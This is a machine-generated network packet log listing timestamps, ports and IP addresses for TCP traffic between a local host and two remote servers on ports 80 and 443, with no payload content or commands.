Oct 6, 2024 22:33:24.132844925 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.132867098 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.132888079 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.133465052 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.133507013 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.133510113 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.133522987 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.133543015 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.133558035 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.133598089 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.133610010 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.133621931 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.133634090 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.133645058 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.133667946 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.133737087 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.133749962 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.133763075 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.133774042 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.133774996 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.133786917 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.133796930 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.133800030 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.133814096 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.133821011 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.133831978 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.133858919 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.134439945 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.134454966 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.134479046 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.134490013 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.135266066 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.135535002 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.135585070 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.135622025 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.135637999 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.135653973 CEST	49842	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.135662079 CEST	443	49842	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.137664080 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.137700081 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.137764931 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.137877941 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.137893915 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.144020081 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.144319057 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.144368887 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.144399881 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.144406080 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.144418001 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.144423008 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.146197081 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.146222115 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.146286964 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.146421909 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:24.146437883 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:24.220076084 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220103025 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220120907 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220132113 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220138073 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220143080 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220149994 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220163107 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220180988 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220233917 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220252037 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220258951 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220269918 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220293999 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220303059 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220314026 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220325947 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220351934 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220402956 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220510006 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220566034 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220571041 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220582962 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220607042 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220614910 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220618963 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220643997 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220670938 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220680952 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220691919 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220701933 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220715046 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220721006 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220743895 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220772028 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220794916 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220813990 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220825911 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220837116 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220856905 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220876932 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220922947 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220933914 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220943928 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220956087 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220969915 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.220983028 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220993996 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.220995903 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221005917 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221016884 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221049070 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221198082 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221239090 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221257925 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221268892 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221286058 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221297979 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221301079 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221327066 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221329927 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221359968 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221383095 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221394062 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221424103 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221470118 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221482038 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221492052 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221507072 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221513033 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221529007 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221559048 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221611023 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221657991 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221659899 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221672058 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221693993 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221718073 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221718073 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221730947 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221760988 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221779108 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221791029 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221801043 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221812010 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.221821070 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221838951 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.221864939 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.225137949 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225153923 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225161076 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225179911 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225208998 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.225227118 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225233078 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225239992 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225259066 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225270033 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225274086 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.225281954 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225296974 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.225317001 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.225333929 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225344896 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225347042 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.225351095 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225377083 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225382090 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.225389004 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225400925 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225419044 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.225441933 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.225696087 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225707054 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225718021 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225739956 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.225754023 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225759983 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.225765944 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225776911 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225792885 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.225817919 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.225944042 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225955009 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225965977 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225977898 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225982904 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.225986958 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.226001024 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226006985 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.226020098 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226023912 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.226030111 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226042032 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226053953 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226057053 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.226085901 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.226352930 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226365089 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226376057 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226387024 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226392984 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.226407051 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226412058 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.226418018 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226428986 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226445913 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.226449966 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226461887 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226486921 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.226505995 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.226524115 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226535082 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226536989 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.226546049 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226552010 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226557016 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226561069 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.226582050 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226591110 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.226593018 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226603985 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226619959 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.226641893 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.226928949 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.226968050 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.227025032 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227046013 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227060080 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227067947 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.227071047 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227082014 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.227102041 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227108955 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.227125883 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227137089 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.227137089 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227147102 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227164030 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227168083 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.227196932 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.227227926 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227238894 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227248907 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227262020 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227262020 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.227272987 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227284908 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227293968 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.227297068 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.227323055 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.227341890 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311430931 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311449051 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311474085 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311486959 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311494112 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311505079 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311506987 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311517000 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311527967 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311537981 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311538935 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311556101 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311563969 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311568022 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311573982 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311578989 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311593056 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311604977 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311631918 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311650038 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311661005 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311671019 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311683893 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311683893 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311713934 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311738968 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311785936 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311796904 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311808109 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311819077 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311824083 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311830997 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311841965 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311867952 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311868906 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311877966 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311889887 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311901093 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311901093 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311912060 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311925888 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311927080 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.311953068 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.311969995 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312001944 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312011957 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312026024 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312035084 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312036991 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312052965 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312077045 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312089920 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312102079 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312112093 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312123060 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312133074 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312134981 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312163115 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312189102 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312241077 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312251091 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312261105 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312272072 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312273979 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312283993 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312294960 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312305927 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312339067 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312385082 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312385082 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312402010 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312419891 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312437057 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312448025 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312458992 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312474966 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312474966 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312485933 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312496901 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312498093 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312506914 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312517881 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312526941 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312576056 CEST	80	49837	147.45.44.104	192.168.2.4
Oct 6, 2024 22:33:24.312577963 CEST	49837	80	192.168.2.4	147.45.44.104
Oct 6, 2024 22:33:24.312577963 CEST	49837	80	192.168.2.4	147.45.44.104
